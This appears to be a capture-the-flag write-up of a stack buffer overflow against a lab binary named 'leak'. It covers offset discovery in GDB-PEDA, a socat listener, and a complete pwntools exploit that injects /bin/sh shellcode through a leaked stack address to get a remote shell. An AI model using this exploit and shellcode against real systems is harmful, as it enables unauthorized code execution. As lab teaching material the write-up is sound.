# Buffer Overflows

## Finding the Offset

Let's casually find the offset by printing "A" in python and passing it to the binary until Segmentation fault.

```
python -c 'print("A" * 100)'|./leak
```

![](https://3740919960-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Am0a4hPyOcUCfhPUAm9%2Fuploads%2FNKb8YO3nvWSZRtRgm48Q%2Fimage.png?alt=media\&token=247a00e3-d239-4bd9-bc3d-0039362d3ed4)

### Check the Security Properties of Binary

```
apt-get -y install checksec
checksec ./leak
```

![](https://3740919960-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Am0a4hPyOcUCfhPUAm9%2Fuploads%2FkXLlZDFZ1fHVvCZACCPJ%2Fimage.png?alt=media\&token=9caa64c9-1eda-490c-8da2-ddfd9d090170)

### Ghidra Code Browser

fgets() is vulnerable to buffer overflow.

![](https://3740919960-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Am0a4hPyOcUCfhPUAm9%2Fuploads%2FdstcoOdR7yZ5feA0hal7%2Fimage.png?alt=media\&token=d82aa738-c606-49e1-8fd4-49610965a4a0)

In GDB-PEDA, the command `x/wx $rsp` is used to examine the memory content at the address pointed to by the stack pointer (`$rsp`). Let's break down the command:

* `x`: This is the "examine" command in GDB, used to inspect memory content.
* `/wx`: These are the modifiers for the examine command. The `/w` specifies that we want to display the memory as a 32-bit word (4 bytes), and the `/x` specifies that we want to display the memory content in hexadecimal format.
* `$rsp`: This is a GDB register variable representing the stack pointer. The stack pointer holds the memory address of the top of the stack.

Putting it all together, `x/wx $rsp` will show you the 32-bit word at the memory location pointed to by the stack pointer in hexadecimal format.

```
gdb -q ./leak
gdb-peda$ pattern_create 100
gdb-peda$ run
gdb-peda$ x/wx $rsp
gdb-peda$ pattern offset 0x65413149
```

![](https://3740919960-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Am0a4hPyOcUCfhPUAm9%2Fuploads%2F3vjdL9x5h93nG1dR8cUD%2Fimage.png?alt=media\&token=e6dc7aaa-e9e6-404c-8c0b-872aa2289d17)

### Open Port using Socat on Target

```
www-data@jet:~$ socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/leak &  
```

### Create BOF exploit using PwnTools Library

```
#!/usr/bin/python3
from pwn import remote, p64

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"  

offset = 72
junk = b"A" * (offset - len(shellcode))

shell = remote('10.13.37.10', 9999)
shell.recvuntil(b"Oops, I'm leaking! ")

leak = int(shell.recvuntil(b"\n"),16)  
ret = p64(leak)

payload = shellcode + junk + ret  

shell.recvuntil(b"> ")
shell.sendline(payload)
shell.interactive()

```

### Execute Exploit and Gain shell

```
python3 bof.py
```

![](https://3740919960-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Am0a4hPyOcUCfhPUAm9%2Fuploads%2F2YDDwxtMKm6mnNJG6vne%2Fimage.png?alt=media\&token=281f3957-b317-4d2e-b263-5122d94f6e85)
